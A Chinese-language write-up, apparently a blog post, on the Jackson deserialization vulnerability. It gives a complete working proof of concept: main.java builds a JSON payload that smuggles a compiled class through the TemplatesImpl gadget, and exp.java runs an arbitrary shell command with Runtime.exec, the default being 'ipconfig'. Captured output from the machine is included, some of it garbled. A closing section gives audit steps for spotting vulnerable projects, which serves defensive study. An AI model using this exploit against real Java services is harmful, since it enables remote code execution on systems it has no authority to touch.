1. JACKSON漏洞解析
poc代码:main.java
import com.fasterxml.jackson.databind.ObjectMapper;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.springframework.util.FileCopyUtils;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException; /**
* Created by Administrator on 2017/6/12.
*/
public class main { public static void main(String[] args) {
String MASIT_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
//改成exp存在的绝对路径
String exp = readClassStr("D:\\workspace\\123\\target\\classes\\exp.class");
String jsonInput = aposToQuotes("{\"object\":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +
"{\n" +
"'transletBytecodes':['"+exp+"'],\n" +
"'transletName':'p',\n" +
"'outputProperties':{}\n" +
"}\n" +
"]\n" +
"}");
System.out.printf(jsonInput);
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
User user;
try {
user = mapper.readValue(jsonInput, User.class);
System.out.println(user.getSex());
System.out.println(user.getName());
} catch (Exception e) {
e.printStackTrace();
}
} public static String aposToQuotes(String json){
return json.replace("'","\"");
} public static String readClassStr(String cls){
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try {
FileCopyUtils.copy(new FileInputStream(new File(cls)),byteArrayOutputStream);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encode(byteArrayOutputStream.toByteArray());
}
}
exp.java
import com.sun.javaws.progress.Progress;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.*; /**
* Created by Administrator on 2017/6/12.
*/
public class exp extends AbstractTranslet {
public exp() throws Exception { try {
BufferedReader br = null;
//修改成你想要执行的命令
Process p = Runtime.getRuntime().exec("ipconfig");
br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line = null;
StringBuilder sb = new StringBuilder();
while ((line = br.readLine()) != null) {
sb.append(line + "\n");
System.out.println(sb);
}
File file = new File("result.txt");
//File file =new File("javaio-appendfile.txt"); //if file doesnt exists, then create it
if(!file.exists()){
file.createNewFile();
} //true = append file
FileWriter fileWritter = new FileWriter(file.getName(),true);
BufferedWriter bufferWritter = new BufferedWriter(fileWritter);
bufferWritter.write(sb.toString());
bufferWritter.close();
System.out.println(sb);
} catch (IOException e) {
e.printStackTrace(); }
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
}
user.java
import java.io.Serializable;
import java.util.Arrays;
import java.util.InputMismatchException;
import java.util.Objects; /**
* Created by Administrator on 2017/6/12.
*/
public class User {
private Object object;
public Object getObject() {
return object;
}
public void setObject(Object object) {
this.object = object;
}
}
尝试执行:
发现result.txt中存在结果
Windows IP ���� ��̫�������� �������� 2: ý��״̬ . . . . . . . . . . . . : ý���ѶϿ�
�����ض��� DNS �� . . . . . . . : ��̫�������� Npcap Loopback Adapter: �����ض��� DNS �� . . . . . . . :
�������� IPv6 ��ַ. . . . . . . . : fe80::b047:25da:330b:45d4%18
�Զ����� IPv4 ��ַ . . . . . . . : 169.254.69.212
�������� . . . . . . . . . . . . : 255.255.0.0
Ĭ�����. . . . . . . . . . . . . : ��̫�������� ��������: �����ض��� DNS �� . . . . . . . :
�������� IPv6 ��ַ. . . . . . . . : fe80::fd81:27ba:8b8b:4a72%12
IPv4 ��ַ . . . . . . . . . . . . : 10.0.83.198
�������� . . . . . . . . . . . . : 255.255.255.0
Ĭ�����. . . . . . . . . . . . . : 10.0.83.1
调试本地代码:
由于Jackson中是通过readValue执行命令,
按F7进入当前函数:
跳过几次赋值,进入到当前函数,发现次函数中存在反序列化的赋值,按F7进行调试
经过多次调试发现,命令在标红处代码执行,并抛出异常
多部调试,F7进入函数代码(SetterlessProperty.java):
代码执行:
2. Jackson反序列化漏洞如何审计
OK,说到这就简单介绍了下,Jackson的反序列化代码运行的过程,那么现在代码审计中如何审计的出来项目是否包含Jackson反序列化呢?
第一步:看版本,如果Jackson的版本号不在存在漏洞的版本列表中,肯定不会有此漏洞,
版本列表:
Jackson 2.7版本(<2.7.10)
Jackson 2.8版本(<2.8.9)
第二步:你的Bean类中是否包含object类型的变量:
例如,我这边的User类中的Object变量定义为:private Object object
第三步:Jackson的ObjectMapper必须调用enableDefaultTyping:
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
满足以上三个要求,才能进行构造POC进行校验。